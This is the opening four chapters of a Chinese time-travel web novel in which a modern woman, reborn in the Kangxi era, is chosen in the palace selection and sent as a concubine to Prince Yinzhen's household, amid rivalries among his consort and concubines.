《[清穿]雍正宠妃日常》 1、第一章 康熙三十四年正月,又是一届大选年。 无数秀女汇聚于此,怀揣着复杂的情绪等待着。在这种氛围下,时间转瞬即逝,一晃便是几天过去,等初选结束后,大多数秀女们都被撂了牌子出宫自行婚嫁,最后几千名秀女里,被记名下来的也不过七八十名。 等到二月初春时,康熙又选看了一次,一下子便又有三四十位秀女被撂了牌子,转眼便只剩下了三十多位秀女被记名。 而在下一次定期复选前,这余下被记名的秀女自然是留宫住宿,边学着规矩边暗中进行考察。 被留下来的这二十七位秀女立刻就察觉到了周围宫女太监们些微改变的态度。若说初选时这些下人对她们的态度更像是面对陌生人,客套有余而尊敬不足,那么这次复选过后,则生疏淡了些许,显得更亲近了点。 “哼,都是些心眼子多的,只怕是等到再复选了,他们要更热情了。” 耳边传来压低的抱怨声,本来准备入睡的傅雅侧过头瞥了一眼,正好看见与她同室的另一个秀女正看着窗外,嘟着嘴巴一脸愤愤。似是察觉到傅雅的目光,她扭过头来,正好与她对上视线,那一脸愤愤顿时变成了羞涩。 “你……你不是睡了吗?” 刘秀女绞着帕子,声音压得更低了,险些就要听不到了,“是我刚刚吵到了你?” 傅雅摇头,“没有。”说着她便打算继续入睡,却看到刘秀女犹犹豫豫地蹭了过来,用手碰了碰她,带着点儿央求道,“若是你不困的话,那……陪我说说话呗。” 傅雅:“……” 实在看不过这人眼巴巴的模样,她便同意了,直起身来靠着床榻,“聊什么?” 刘秀女眨巴眨巴眼,“嗯……”卡壳了半会,傅雅耐心等着她,终于等她憋出了个话题来,“按理来说,等下次复选又通过了,秀女要么是入宫为妃,要么便是指给皇室宗族。” 这话说得不错,一般来讲,复选再过的秀女们很少再有能够自行婚嫁了的,大多都是两条路,大部分是指与皇室王公或是宗室,更少一部分的则入宫为妃嫔。放在世人眼中,这过了复选的当然要比初选都过不了的秀女前程更远大些,毕竟这才有机会进入下一轮复选。 这也是为何那些宫女太监们态度有所改变,却又改变不算太多的缘故。 傅雅觉得自己好像猜到刘秀女接下来要说的话了。 果然,就听到对方问她,“你说,我们有没有机会过了下次的复选啊?” 傅雅没急着回答,而是仔细看着刘秀女的神情。 因为刚刚刘秀女推开木窗后尚未合上的缘故,月光透过缝隙洒落了进来,有几缕正好打在刘秀女的侧脸上,让她能够看清楚对方此时脸上的情绪。就见这个长相还有些稚嫩,透着青涩气息的少女轻咬着唇,看着她的双眸里透着紧张,但更多的是期盼和羞涩,明显,她更希望自己能够通过下一轮的复选。 傅雅心中叹息,却又觉得十分正常。人是个环境动物,适应环境才是大多数人的生活,在这种约束女子的朝代里,入宫为妃又或是嫁与皇室宗亲,自然是更好的一条路。 因为它们代表着更大的权势,能为家族带来更多的辉煌。 就像是她,若不是灵魂来自上一世的现代社会,三观早已定型,大概也会在这种环境熏陶下抱着类似的念想罢。 谁能想到,不过是一次加班熬夜,等再睁开眼时,她竟从二十一世纪的现代来到了康熙朝,成为了一个翰林院侍读学士的女儿呢。当她从目不能视的小婴儿成长到终于能够听懂这个朝代带着口音的话语,明白自己来到了康熙朝时,只觉晴天霹雳不足以形容。 不幸的是,她自此少了许多自由。 幸运的是,她这一世的父母给了她所能给予的最大的自由。 傅雅面上不显,只微微一笑,“世事难料,谁也说不准,”她轻描淡写带过这个回答,将话题又丢了回去,“不过我想,刘秀女你看着清秀可人,过了下次复选的机会一定很大。” 谁能不喜好话呢,刘秀女一听,脸上红晕更甚,却对她的印象更好了些。为了掩饰自己的羞意,她轻推了傅雅一把,嘻嘻笑道,“富察姐姐你比我好看多了,肯定也能通过的。” “睡吧。”傅雅打了个哈欠,刘秀女并未注意到她没有接自己那句话,只满心期待地点点头,回了自己的床榻上。 傅雅却未那么快入睡,她翻了个身,睁开眼对着墙壁,心中想着入宫前的事情。 选秀的前一天晚上,她的母亲陈氏拉着她的手,问她对选秀是如何想的。 知子莫若母,傅雅还未开口,陈氏便从她的神情间看出了她的意思。于是又立刻道,她和傅父是一样的想法,家族兴荣自有她三个哥哥去挣,至于她唯一的女儿,自然是自身幸福更重要些。若傅雅对此无意,他们会想办法打点,让傅雅在第二次复选前被撂牌子。 好歹侍读学士也是个从五品,又在翰林院这个清贵的地方,到时候再仔细找一个家境简单的嫁过去,人家也不会欺负她,日子至少过得清净。 如今已是第一轮复选过去,不知家中情况如何。 这边厢秀女们各有各的心思,另一头,宫中嫔妃们也因为康熙去向而心情各异。未能等到皇帝的自然是空枕难眠,而等来了皇帝的德妃虽有喜意,却更显稳重。 康熙靠坐在榻上,一手拿着书悠闲读着,时不时和德妃聊上几句闲话,话题刚刚从胤禵的身体情况结束,德妃正微微笑着,低头准备抿口茶时,就听到耳边传来康熙话语。 “说来,老四还未有子女吧?” 德妃动作一顿,抬头看向康熙,斟酌几分后,微微颔首,“是,”她微蹙着眉头道,“是臣妾关心少了些……” “和你无关。”康熙听她直接将责任但在了她自己身上,反倒是轻拍了拍她的手,宽慰了她一句。毕竟德妃身为一宫主位,平日里要忙的事情也有许多。 他想了想,最近老四胤禛刚刚接触政务,倒是颇为认真,也算是办成了几件小事,让康熙近来对他感官还算不错,一时兴起,扬声道,“梁九功。” “奴才在。” 一直等候吩咐的梁九功立刻上前。 康熙吩咐他,“把秀女名册还有画像都拿过来。” “嗻。” 不敢让康熙等太久,很快小太监便气喘吁吁地将东西交到了梁九功手上,然后又摆放到了炕桌上。德妃端着笑坐在另一边,并不去看那些秀女们的信息,只等康熙和她聊起时,才说上那么无关紧要的一两句。 康熙一边看着秀女资料,虽花了些心思,但不比看折子时的专注,思维便有些发散,像是想到了什么,他眉头皱起,“别说老四家的,太子和老大他们也都子嗣不丰,”还有其他几个阿哥们,越想,康熙越有些不是滋味,毕竟都是自己的儿子们,“之前指给他们的那些个秀女也是没福分的,过了这么些年也没见给阿哥们开枝散叶。” 话虽是这么说,但皇子中其实也有得了女儿的,只是在如今人们的观念里,光有女儿那跟无后也没什么区别,康熙自然也是如此。 德妃听他这么说,脸上的笑淡去,摆出一副同样有些忧虑的表情来,“是啊。”她跟着叹息,却依旧没有说更多的话语。 而康熙也不需要她给些什么意见,心中已是有了主意。 原本他之前是看着小十四胤禵被养的身子不错,一时想到了老四好像后院没什么子嗣,又因为这儿子近来表现不错,便想着关心一二,结果发散过程中又联想到了其他几个儿子,摆开来一看才发现,呵,他这几个儿子至今竟没几个给他生了孙子的。 于是康熙大手一挥,直接从本来只给老四后院指新人变成了皇子们的后院批发新人。 太子跟老大老三直接给指了两个,往下的都指了一个,本来就要这么结束了的,康熙看了眼安静待在一旁的德妃,又想到老四近来的表现,于是将秀女们的资料又仔细翻了一遍。 原本被放在最下面,之前被他随意略过去的一个秀女顿时引起了他的主意。 他盯着画像想了想,很快记忆力出色的康熙便想起来这个秀女的父亲富察侍读似乎儿子不算少,而且还都是正妻所生,说明是个好生养的,于是他将这张纸抽了出来,交给梁九功。 梁九功飞快地看了眼上面的内容,正巧看到了这名秀女的名字——富察·傅雅,头顶也传来康熙漫不经心的声音: “把她也指给老四家的吧。” 不过短短一句话,便有人的命运发生了改变,原定的打算落了空。 而这一切,明明也算得上是当事人的秀女们却无所得知,只酣睡正香地等待着第二日的到来。 2、第二章 昨夜下了场小雨,不过停得也快。等到天亮时,连地面的水迹都已经快干了,就连太阳都不像前几日那般羞羞答答地将大半个自己掩在云层后面,而是直接高挂天幕上。 于是今儿这温度倒是舒爽了起来,往来做事的太监宫女们都觉得今天是个好日子,不冷不热的。 李嬷嬷也是如此认为的,她迈着步子进了秀女们学规矩的地方,旁边做事的小太监凑过来腆着张笑脸道:“嬷嬷今天气色好得很,莫不是有了什么好事?” “做你的事去吧,”李嬷嬷手指点了点他,不过一贯板着的脸倒是的确露出点儿笑意,“哪里是我的好事,是秀女们的福气来了。” 小太监眼珠子一转,立刻就明白李嬷嬷的意思了,脸上笑容更盛,“哟~难怪说今天一大早就听到喜鹊在叫呢!” 李嬷嬷看他实在嘴甜,索性顺了他的意,点了他和另外几个小太监小宫女去通知那些秀女们。被选中的太监宫女都是乐开了花,连步子都走快了些,只想着赶紧去通知那些秀女们,好拿到赏钱。 李嬷嬷站在原地看了眼那些小跑着离开的太监宫女,转身朝着唯一一个由她自己去通知的秀女房间方向走去,走着走着,她脸上的笑便淡了去,又回归原本板着张脸的严肃模样。 只是她心中却叹着气,不为别的,就是她之前收了打点,事情却没办成。 外人看着三个教养嬷嬷里,独数她李嬷嬷最是板正教条,不近人情。可这人生在世,哪可能一点关系都不沾呢,李嬷嬷自然也是如此。 谁也不知,她在入宫前因着家境贫寒,过得很是艰辛,若不是受了富察侍读家陈夫人的恩惠只怕也活不到进宫当宫女的日子。从宫女到嬷嬷这一路来,她虽经受过许多事情,心变得硬了许多,却也不曾忘记受过的恩惠。于是等她收到富察侍读家的打点后,二话不说,便应下了这事。 这大选也不是一次两次了,那些不想进宫于是私底下打点的情况虽不多,却也不算罕见。想要办成这事算不上特别难,只是颇为繁琐,因为这事不能闹到明面上去,大家私底下清楚就行了。 而这如何落选也是个颇有说法的,秀女们的家世背景,往日里的名声,还有样貌,都得算进去。 比如一个相貌出众的秀女总不可能初选就被落下吧?若真出了这事,那旁人一眼就能看出问题来,而那种相貌不错家世背景也还可以的,也不大可能初选都过不去。 但过了两次复选的秀女,一般也不太可能自行婚嫁了,除非秀女的父兄子弟主动上折求皇上恩典。 于是排除那种容貌和家世过于出众的,其他秀女若要动手脚,大多都是在第一次复选结束到第二次复选开始前这个时间段。 李嬷嬷便是如此打算的,从初选到第一次复选,不露痕迹地让这位富察秀女渐渐落于人后,变得不起眼来,等到了第二次复选被撂牌子就变得理所当然。 可谁能想到,千算万算,就是算不到第二次复选前,人家康熙心血来潮亲自给自己的儿子们批发后宫呢,连被放到最底下的秀女资料都被他给注意到了。 时也,命也。 这般想着,李嬷嬷敲响秀女住的房间门。 “呀!” 被敲门声惊到了的刘秀女吓得直接站起身来,膝盖险些没撞上桌腿,她慌慌张张地看向傅雅,“我、我今天没起床迟呀,你看你都还在呢。” 傅雅看她感觉就像是看到了炸毛的猫,被逗得笑了笑,“应该是有别的事。”她随口安慰,话一出口,心中却不知怎地沉了沉,总觉得有种说不出的不太好的感觉。 呸呸呸。 一想到此,她前世社畜的雷达就嗡嗡作响,连忙自己心中倒呸了几声,这坏事是越想越灵,她就应该把这丢到脑后。 李嬷嬷站在门外等了会,隐约听到里面传来些动静,没多久,门被从外面拉开,却正是傅雅。傅雅看到她时也有些意外,嘴上却并未忘了打招呼。 “李嬷嬷可是有事找我们二人?” 一边说着,她还不忘福身,李嬷嬷视线越过她,看到了这位富察秀女手肘靠后碰了下刘秀女,刘秀女被提醒了才慌慌忙忙也福身。 “奴婢是来给两位秀女道喜的,”李嬷嬷上前,一手一个扶住了她们,没让她们真完全福下身去,“万岁爷昨日要了秀女们的选册,给阿哥们后院挑人,恭喜两位秀女,都被万岁爷给选中了。” 她一边说着,一边仔细看着面前的两人,此时日光正好,让她将两人面容看得十分真切。 那叫做刘秀女的,虽年岁还小,更显稚气,但无论是那挺翘的鼻子还是殷红的唇都能看得出独属于汉女的精致,一见便能知道等日后张开了又是个江南美人。等听到她的话时,那本来还忐忑的眸子立时亮了,露出灿烂笑脸来,一看就是高兴得很,倒是个没什么心机的。 而富察秀女…… 她视线落在傅雅脸上,就见这位富察秀女虽然是镶白旗满族出生,比起其他满女更偏向端庄寡淡的相貌,她的眼眸要稍大一些,鼻梁更挺,唇色更红,但五官整体也不失大气。于是比起那少一分而显得过于精致却小气,多一分便显得妩媚而略轻浮,富察秀女却是刚刚好,组合成了男女见了都会眼前一亮的明媚面容,看着令人容易心生好感。 在听到李嬷嬷带来的消息时,若不是李嬷嬷仔细盯着,只怕也看不到她微蹙了下却又很快松开的眉,转眼富察秀女便也是一副微扬着唇似乎略显高兴的表情。 “多谢李嬷嬷带来的好消息,只是李嬷嬷是否知道,我和刘秀女都是入的哪位阿哥的府中?” 这样倒也好,李嬷嬷心想,能够飞快收敛好自己的情绪,明白在外人面前不能对这种“好消息”露出异样表情,说明是个心里有些城府的,再加上这幅面容,说不定富察秀女以后也能有些造化。 一旁的刘秀女被这个问题提醒,也连忙答话,“是呀,李嬷嬷,我和傅雅姐姐是进的同一个阿哥的后院吗?” 李嬷嬷便道:“刘秀女被挑中给了三阿哥,富察秀女则是四阿哥。” 四阿哥……那就是胤禛,也就是未来的雍正帝了啊。 傅雅心中暗叹,老实说,她第一时间想到的就是“刻薄寡恩”这四个字,还有康熙帝评价的“为人轻率,喜怒不定”,怎么想,这位雍正帝的性情都让人觉得不妙。 然而前世多年社畜的经验又让她懂得如何苦中作乐,开解自己。 比如再怎么样,好歹这位雍正爷是最后的赢家,总比她进了未来在九子夺嫡中下场凄凉的皇子们的后院要好得多。再比如这位雍正爷虽然在历史上是前宠李格格后宠年妃,从口味猜测大概是偏向小白花一类,她进了后院大概就泯然于众人了,可好歹是潜邸出来的,到时候就算捞不到妃位,拿个嫔位总不过分吧,那再怎么说也是一宫之主呢。 到时候她好好养着身体,等乾小四登基了,他对待太妃们还是不错的,那时候她等着安享晚年就行了。 总而言之,言而总之,傅雅自我安慰着,好歹是压下了心中那股子希望落空的郁气,稳住了面上的笑容,看不出什么异常的和兴奋中的刘秀女说着话。 然而等到夜深人静时,她闭上眼想要入睡,最后却睁开眼直愣愣地瞪着顶棚,完全睡不着了—— 她想不通啊! 康熙爷您说您大晚上的不和您的妃子们谈谈情说说爱,干啥要想起来给您的儿子们来个批发新人呢! 有那个闲工夫您多造造人不好嘛! 然而今夜无法入睡的又何止傅雅一人,除了宫内的,自然还有宫外的,比如今日被嫔妃们召来皇宫通知一声,没几日便会有新人入后院的各个阿哥们的福晋,以及那些后院里通过心腹打探到这个消息的旧人们。 四阿哥府中,福晋的院子里还透着光,明显福晋还未入睡。 孙嬷嬷掀开帘子进来时,看到的就是福晋正坐在榻上,一手翻着账本,一手拿着毛笔在旁边堆放的纸张上写着字,虽面色严肃,却因为年岁不大还带着些许稚气,便显得这分肃穆不太协调。 但毕竟也当了有三四年的福晋了,威势还是养了些许出来。 刚好福晋这会放下了笔,于是孙嬷嬷便笑着上前,“夜已深了,福晋可要歇息?” 福晋看着账本上的字,长长吐出口气来,摇头,“我暂时还不想睡,嬷嬷。” 孙嬷嬷看着她略有些苍白的脸,心疼她年纪不大便要处理这么多事情,“福晋,早些歇息,才能养好身体,也能更好为主子爷开枝散叶啊。” 要知道后院里的李格格本就受主子爷宠爱,如今肚子里还怀揣了个,若真让她生了主子爷的长子,只怕恩宠就更多了,说不得……说不得主子爷就要给李格格请封侧福晋了! 到时候这李格格气焰不得更嚣张了么! 光是想到这些孙嬷嬷便急得冒火,这几天嘴巴都一直生泡。 听到孙嬷嬷这话,福晋脸上神情明显怔楞了瞬,一缕说不出是茫然还是忧愁的情绪闪过。 她默了默,心想自己怎么会不知道身体养好了才能有孩子呢,只是除了每月的初一十五,其他日子四爷向来很少来她院子,偶尔就连这两个日子,四爷也有可能因为公务而歇在前院,光她一个人想生又能怎么样? 更别提不久后又要进了新人…… 或许这就是嫡福晋的日子吧,有了尊荣,却也鲜有得了宠爱的。 3、第三章 不想提这种让人越想越沉重的话,福晋提起另一个事来,“嬷嬷,再过几日新人便要来了,我想着该安排她们住在哪里合适。” “奴婢觉得,不如将她们安到宋格格和李格格的院子里。” 孙嬷嬷话音刚落,福晋就笑嗔着看了她一眼,“嬷嬷就别说笑话了,”但好歹她脸上的疲惫少了些许,又打起了点精神来,“若真这么做,只怕李格格就要闹翻了天。”宋格格倒是因为性情温弱,不会说些什么,但好歹也是四爷的第一个女人,排挤人家也是说不过去的。 孙嬷嬷抬手轻轻拍了下自己的嘴,也是笑着道,“哎,是老奴糊涂了,还是福晋想得深远。”顿了顿,她没再故意说些俏皮话逗福晋,认真道,“奴婢想着,虽说如今这后院人还不算多,但两个格格同住一个院子也是说得过去的,只是……” “只是这两个新人里,那位富察秀女却是满洲人,倒不好如此安排了。”福晋往下接过她的话,也明白孙嬷嬷的意思,这八大旗里,一般来说上三旗的人比下五旗的要尊贵些,而满军旗又要比汉军旗的地位高。 富察傅雅便是满军镶白旗出身的,虽比不得上三旗,可镶白旗在下五旗里也占前列,倒是不好过于轻忽对待。 福晋想了想,便道,“我想着,干脆都单独分个院子罢。那位富察秀女住在映月阁,至于另一个……便住在西溪阁吧。” 这映月阁更靠近前院,面积也更大一点,西溪阁的规制相比前者自然都要差一些。 孙嬷嬷自是不会觉得福晋这么安排有错,福晋说完这些,也摆手准备歇息。然而熄灯过后,她却是辗转反侧,一时难以入眠。 福晋想了许多,却都是和这富察傅雅有关。 说来这后院里除了她,剩下的两个格格都是汉人出身,而另一个新格格同样也是汉军旗,到时候这富察傅雅出身反而格格里最高的一个了,然而转念一想,福晋又独自苦笑。 因为这几年下来,她也看出来了,比起满人出身的姑奶奶,四爷明显更偏爱汉女子的精致温婉,那这出身好在此时便也算不上什么优势了。 福晋心中情绪复杂难言,说不清自己到底是盼着这个富察傅雅能够受宠,还是泯然于后院,毕竟对她而言,这两种情况都算不上好,也算不上坏。 另一厢,宋格格侧身看着空荡荡的身旁,想着去年未逾月殇的女儿,又想到不久后便会入府的新人,只觉心中苦涩,戚戚然中竟不知不觉眼角淌出泪水,沾湿了身下的布料。 而李格格这头,躺在床上慢慢摸着自己鼓着的肚子,咬着唇愤愤地想,就算是新人来了,她肚子里可是揣着爷唯一的孩子,谁也争不过她去! 日子便这么渐渐过去,转眼间便到了被指定的秀女们出宫的日子。仅被指为格格的她们自是没有那礼制完备,嫁妆抬上等一系列婚嫁流程资格的,皆是收拾了个包裹,连家都没法回去一趟,便被一顶小轿子从宫里径直送进了府中。 只是两个格格,自是没资格让福晋亲自来接见的,两人下了轿,只匆匆对视了一眼,打了个招呼,便被府里的奴婢引着各自分开,到了自己的院子里。 傅雅想着刚刚匆忙间见到的与她一齐入府的秀女面容,倒是和当时与她同室的刘秀女同款风格,娇小秀美模样,虽然很快就分开了,但隐约察觉人家似乎比她要矮上半个头。 可能是傅雅她这辈子的父亲和母亲都不算矮的缘故,加上她家虽不算富庶,却也并不清贫,从小吃食自是不缺少营养的,于是种种因素下来,不过十五岁,傅雅便长到了四尺九,放现代就是一米六五的样子。 在家时还没太多感觉,等到了今年参加选秀的时候,傅雅就发现自己呼吸到的空气极为新鲜,一眼望去皆是黑漆漆的头顶,称得上鹤立鸡群。 等进了四阿哥府,看看身边那些下人们也大多是比她矮上大半个头的模样,衬得她跟巨人般,傅雅觉得自己这辈子都别想立小鸟依人这种在小妾里为主流的人设了。 心里想着这些乱七八糟的,傅雅跨进院子,粗略环顾一圈,只觉得看着还行。 等进了正厅坐下,安排来服侍她的一众下人便上前行礼。 一共八人,四个丫鬟,四个太监。 “奴婢/奴才见过富察格格,给富察格格请安。” 按规制,格格可以有一个贴身丫鬟和一个掌事太监,剩余便都是粗使下人,而前者跟后者做的事不同,身份不同,拿的月例自然也就不同。 傅雅并未急着开口,而是先拿出些碎银放到手边的桌子上,加起来也有五十两了,随即她看向底下的下人,在这种能够将他们的神色收进眼底的情况下,慢悠悠开口。 “我这人喜好清净,不爱折腾一些乱七八糟的事情,对你们的要求就是心里有数,干好自己应该干的,不该做的事情也别去碰。至于这些,”她点了点那些碎银,“是我作为你们的主子给你们的见面礼,贴身宫女和掌事太监各分三成,余下五人分剩下的四成。” 话音落下,底下的下人们眼神涌动,无措者有,茫然者也有,心思灵动者也有,坐在高位的傅雅尽收眼底。 一时之间正厅内竟安静下来。 心中默数着数字,还未数到十,傅雅便看到有两人眼神起了变化,明显坚定了些,随即便是这两人从人群中走了出来,齐声开口。 “奴才赵德利/奴婢巧琴谨记格格教诲,必恪守本分,不闹事端。” 傅雅露出满意的笑来,“行。这暂时就由巧琴你贴身伺候我,剩下的丫鬟也由你管着,至于赵德利,那些外面做事的跑腿就由你负责了。”停顿了下,她的语气变得意味深长起来,“既做了领头的,以后出了什么事情我只管找你们俩的问题。若你们差事办得好,那这‘暂时’二字自然也能去掉了。” 上辈子当了那么多年的社畜,傅雅对于怎么用人也有自己的逻辑。 首先这贴身宫女和管事太监她就不会要那种怯懦不经事的,这两人都代表了她这个主子,也经常接触府里的人,若显得唯唯诺诺,外人也会跟着看低她,还不如用那些心有成算的。 再就是她不会什么事都抓着,这样只会被鸡毛蒜皮的事缠身,她只需要选出带头的来就行了,而这些带头的为了能一直站在下人们的最前头,自是会拼命看紧其他下人,努力做到更好。 至于他们的忠心,傅雅就更不担心了。 倒不是什么人格魅力,就像当初为何她要自我安慰至少进的是这位雍正的后院呢,还不是因为她很清楚自己的一身荣辱都系在这府里唯一的男主人身上。 他好她不一定好,但他不好那她肯定不会好。 她院子里的下人也是如此,一条小命同样全系在她的身上,自是不会想不开去背叛她。 于是她这一番话说完,巧琴和赵德利飞快对视了一眼,俯首称是,心中既是紧张,又是激动,满心都想着日后如何办好差事好去掉这“暂时”二字。之后傅雅将分赏银的事交给了这两人,也没管他们是如何分的,径自入了内室打算歇息。 别看她是小轿抬出来的,那轿子又小又颠簸,后面又穿着花盆底在府里走了这么些路,她也的确累了。 转瞬便从白日到了黄昏,四爷也从宫里出来。一入府,他便径直进了书房,一路脚步匆匆的,冷着张脸,于是本来等候着的福晋那边的人一时被气势摄住,不敢上前说话。 等到四爷身影消失在书房门口了,下人才期期艾艾过来,眼巴巴看着苏培盛。 “苏爷爷,您看这新人进府,主子爷这边是打算……” 苏培盛心中啧了声,斜着眼看他,嫌他不会看脸色,“主子爷今日累得很,说不好是歇在前院还是去后院,你且这般说与福晋便好,想必福晋也心疼主子爷。” 否则难不成还要让四爷迁就格格吗,两个格格而已,什么时候去看都行,再且说了,他可是清楚四爷此时心情不太好,就更加不会为了个格格去四爷面前找不痛快了。 “是,是……”下人点头哈腰,心中也琢磨着没必要为了两个格格太尽心,而且多一个格格受宠就多一个生下皇孙的可能,这对于现在的福晋来说又不是什么好事,于是就准备这么告退。 谁想四爷耳尖,声音便从书房里传了出来,“外面都嘟囔些什么呢?” 苏培盛轻踢了脚下人的腿,倒没多用力,下人也没躲开就生受着,看着苏培盛进了书房。 没多久,苏培盛身影又再出现,示意他跟着进来。 一进书房,下人便立马跪拜下去,头也不敢抬,“主子爷,是两位格格今日刚进了府里,福晋便派奴婢来说明一二。富察格格被安排在了映月阁,汪格格则是在西溪阁。” 一听富察这名,四爷便是眉头皱了下,听出来是个满族出身的。虽然之前他就知道康熙给他还有大阿哥太子等好几个兄弟的后院指了人,但那时候四爷忙着办差事,好在康熙面前挣多点印象分,根本就没去关注这种小事,只以为又是两个汉女,毕竟之前的格格都是这种身份。 要说满女们的长相也不是丑,只不过四爷的确不太爱而已,他更偏好小巧精致的。 四爷想着这些时,其他人自是不敢出声的,没多久,下人就听到四爷开口: “跟西溪阁的说一声,爷晚上过去。” 下人一个没忍住,惊讶地抬了下眼,立刻就被四爷注意到了,居高临下看他,神色看不出喜怒,“怎么?没听清?” 下人吓得立马磕头,“没、没有,主子爷的决定,奴才绝不敢有所质疑,请主子爷饶恕,请主子爷饶恕……”他说得结结巴巴,脑门也很快嗑得红了起来。 “行了!” 四爷看得心烦,冷声道,“滚回去做事。” 苏培盛立马使眼神让人将下人拖下去,如果不是他自己不好出手,他恨不得上脚踢。怎么福晋院里出来的人还能这么不懂眼色呢? 先是不懂事的敢对四爷的决定露出异色,然后还这般闹腾的求饶,也就是主子爷不是那等暴躁之人,只是让他滚远点而已。 另一边,被下人告知了四爷的决定后,福晋同样有些意外。她看了眼下人通红的脑门,说了几句敲打的话后,便摆摆手示意下人过去西溪阁通知汪格格。等人离开了,屋内只剩下自己的贴身丫鬟和孙嬷嬷后,她放下记着各处事务的本子。 “你们说,四爷是如何想的呢?”她冷不丁问。 孙嬷嬷跟几个丫鬟看了眼,都看出福晋不知又联想到了什么,便赔着笑道,“这主子爷的心思,奴婢们哪知道呢?” 福晋明白她们不敢妄议这府里唯一的主子爷,便淡淡一笑,“说得也是,”只是她心中想,连她这个福晋很多时候摸不透四爷的想法,明明他们是夫妻啊,“我原以为,爷会先去富察格格房里。”毕竟再怎么说也是下五旗的满女,比那汉军旗的身份高。 她重新拿起事务账本,说不出自己是什么心情,只是道,“看来,四爷的确不喜欢满族出身的女子。” 4、第四章 听福晋这么一说,孙嬷嬷有些急,她立刻道,“福晋,那不过就是格格而已,对主子爷来说哪个旗又有什么区别呢,自是不怎么看重的。”可您是嫡福晋,是万岁爷亲自下了圣旨,入了玉牒的人,是日后会和主子爷葬在一起的,自是不同的。 福晋又是笑,“嬷嬷,我没伤心。” 她反而觉得自己得了些安慰,至少她能告诉自己,四爷如今和她亲近不起来,跟她好不好没关系,而是她的出身缘故。那她要做的就是做好福晋该做的事,总归,她还能得四爷对嫡妻的尊重。 至于等到下人通知的西溪阁,从汪格格往下都是喜不自禁,谁也没想到两个新人里竟然是汪格格拔了头筹。 贴身丫鬟玉兰立刻道:“格格,您今晚可得表现好点啊,若是能够将主子爷多留几个晚上,那——”虽然一个是满军旗一个是汉军旗,可汪格格这样就是先连着服侍了好几天,至少压下那位富察格格是不成问题的。 “我哪里能决定四爷的去处呢,不过是四爷怜惜罢了,”汪格格虽然高兴,却还收敛了些,隔墙有耳,她刚入府,还不知道能受宠几分,当然不想先和别人有了摩擦,“这话就莫说了。来替我选好衣裳首饰罢。” “是,格格。”玉兰便也不多说了,只高高兴兴的给汪格格选好东西。 西溪阁上上下下忙着让汪格格到时候好好在四爷面前亮相,一派喜气洋洋的气氛,映月阁自然沉寂些。得知四阿哥今晚要去汪格格那边的傅雅丝毫不意外,反而有种果然如此的感觉。 于是让院里的人也不必再继续等候下去,她则是吃了丫鬟提来的晚膳后洗洗睡了,自在得很。 本来还因为这番情况而有些忐忑的下人们看她这副模样,渐渐的被感染着,也没那么浮躁了。 “不过是第一个晚上而已,你们担心得也太早了。”巧琴看不惯他们这幅模样,出声敲打,旁边赵德利接话附和,“这话说得对,依我看啊,以咱们格格的面相,必是有福分之人。” 若说宫女们还能有出宫嫁人的机会,那基本只有老死在宫内的命的太监们为了爬得更高,自是钻营得更多,人心也琢磨得多些。以赵德利的眼界来看,他觉得就算一时吃亏了,日后怎么样都说不准,格格的机会还是很大的。 不过想是这么想,但该打听的也还是要打听的,不只是他,其他院里的人同样都在打听。 于是一个晚上过去了,大家都知道西溪阁里只叫了一次水,倒是看不出四爷是喜欢还是不喜欢。等到第二天四爷赏赐下来,虽是寻常份例,但终于能够猜出来,四爷这至少不是讨厌。 福晋也跟着按规制给了寻常赏赐,等汪格格院子里的人再去膳房里提膳时,灶上的人都热情了点。 到了这天晚上,大家都想着该轮到富察格格了,就连汪格格都是这么想的。因为今日早晨她伺候四爷穿衣洗漱时,看得出来四爷离开时没有什么不舍,只怕对她并未太多喜爱。 谁想到当天晚上她迎来了个大惊喜,四阿哥又来了她院子里,当晚又是叫了一次水!只不过当晚四爷并未歇息在西溪阁,李格格那边说是身子不适,毕竟是怀了身子的人,四爷便过去看了,之后回了前院。 汪格格搅着帕子,有些不开心,但也不敢说什么,只难免心中对李格格有些想法。 不过等到第三天晚上四阿哥依旧来了后,西溪阁上下简直快高兴疯了,就连汪格格都忍不住心思浮动起来。 夜深人静,叫水清洗过身子的四爷很快就熟睡过去,躺在他身旁盖着另一条被子的汪格格却始终没睡着,最后终是没忍住,侧过身来痴痴望着四爷的睡颜。 但也就是如此了,汪格格终究不敢就这么钻到四爷的被子里。 只是她心中却想着,四阿哥连着三天都来她这里,明明富察格格身世背景比她要好,可是却未理会过一次,是不是说明四阿哥很是喜欢她呢? 若是…… 被子下她的手抹上小腹,眼神闪动地想着,若她也能怀上,到时候一举得男的话,说不得……她也能和那位李格格争上一争侧福晋的位置呢? 夜深人静的,她就这么乱想了起来,一时想着自己生了皇孙,四爷待她温柔如水的模样,一时想着自己成了后院里最受宠的女人,还得了侧福晋的位置,等到好不容易有了睡意时,只感觉才闭上眼,就听到了四爷起来的动静。 于是她连忙睁开眼,看到四爷已是穿着里衣站在床边时,便掀开被子要下床伺候,四爷看了她眼睛底下青黑的一片,想着好歹是自己的女人,便道,“既然没休息好,便躺着吧。” 丫头们早端着东西进来了,四爷也不缺她一个伺候的人。 汪格格听着四爷的关怀,只觉得心生甜蜜,是四爷喜爱她的又一个体现,光这么想,她就没法继续躺着,依旧是下了床,垂着眸羞答答地道,“规矩如此,奴婢还是来伺候四爷吧。” 低眉的时候,汪格格刚好错过了四爷皱眉的一瞬,“既是如此,那随你。” 汪格格丝毫没察觉到这点,只满心高兴地伺候四爷穿衣洗漱,等到早膳上来,四爷看她站在一旁,他又道,“你也坐下来吃吧。” 这回汪格格没有说规矩如此,而是依着四爷的话坐下,但她一心想表现自己温顺可人的模样,虽然坐下了,却只坐了凳子边角的位置,全程端着仪态,饭菜也都是只吃了少少几口。 四爷就这么看着,只觉自己胃口也都跟着变差,吃了个半饱就起身,丢下一句好生休息便出了院子。 虽说如今四爷已经可以奉命办理一些政事,可毕竟还是个光头阿哥,也没个正经职位,平日里没事的时候还是偶尔要去上书房表示自己是个刻苦的人,此时便是天还未亮便骑着马往皇宫去。 三月出头的京城在寅时还冷得很,骑马时寒风便刮得人更不舒服了,等到了上书房,本就心情一般的四爷此刻更是不快,觉得自己脸都要被吹僵了。 他手里拿着书,一边读,一边却想着今早的事情。 虽然看重规矩,可四爷自认为自己不是那等子死板的人,尤其他觉得自己该变通的时候也很会变通,有些时候,他也会去体贴人。 但皇子终归是皇子,不会喜欢有人违背自己,尤其是身为皇子的他自认为给出自己的好意时。 汪格格也不能说做错了,只能说力气使错了地方。 